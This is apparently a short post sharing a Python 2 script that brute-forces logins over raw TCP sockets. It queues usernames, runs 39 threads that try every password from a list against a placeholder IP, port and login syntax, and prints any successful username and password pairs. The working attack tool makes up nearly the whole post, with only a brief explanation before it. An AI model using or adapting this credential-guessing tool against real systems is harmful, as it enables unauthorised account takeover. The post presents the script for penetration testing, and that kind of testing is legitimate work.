Title: Multi-Threaded Brute Forcer used in Penetration TestingAuthor: ajayverma
The logic of the script is to read in a list of username and password values, then push the usernames onto a queue. Each username (handled by an individual thread) goes through and tests each of the passwords in the list against the application. If the text that appears in a failed login appears it will print the failed message, otherwise it will print login successful.

#!/usr/bin/python

import threading
import Queue
import socket

usernameList = open('users.txt','r').read().splitlines()
passwordList = open('passwords.txt','r').read().splitlines()

class WorkerThread(threading.Thread) :

def __init__(self, queue, tid) :
threading.Thread.__init__(self)
self.queue = queue
self.tid = tid

def run(self) :
while True :
username = None

try :
username = self.queue.get(timeout=1)

except Queue.Empty :
return

try :
for password in passwordList:
tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpSocket.connect(('### IP Address ###',### Port ###))
tcpSocket.recv(1024)
tcpSocket.send("### Syntax that allows login ###")
if '### Fail Response ###' in tcpSocket.recv(1024):
tcpSocket.close()
print "Failed " + username + "/" + password
else:
print "[+] Successful Login! Username: " + username + " Password: " + password
except :
raise
self.queue.task_done()
queue = Queue.Queue()
threads = []
for i in range(1, 40) : # Number of threads
worker = WorkerThread(queue, i)
worker.setDaemon(True)
worker.start()
threads.append(worker)
for username in usernameList :
queue.put(username) # Push usernames onto queue
queue.join()
# wait for all threads to exit
for item in threads :
item.join()
print "Testing Complete!"


Submitted On: 2019-05-30 12:51:25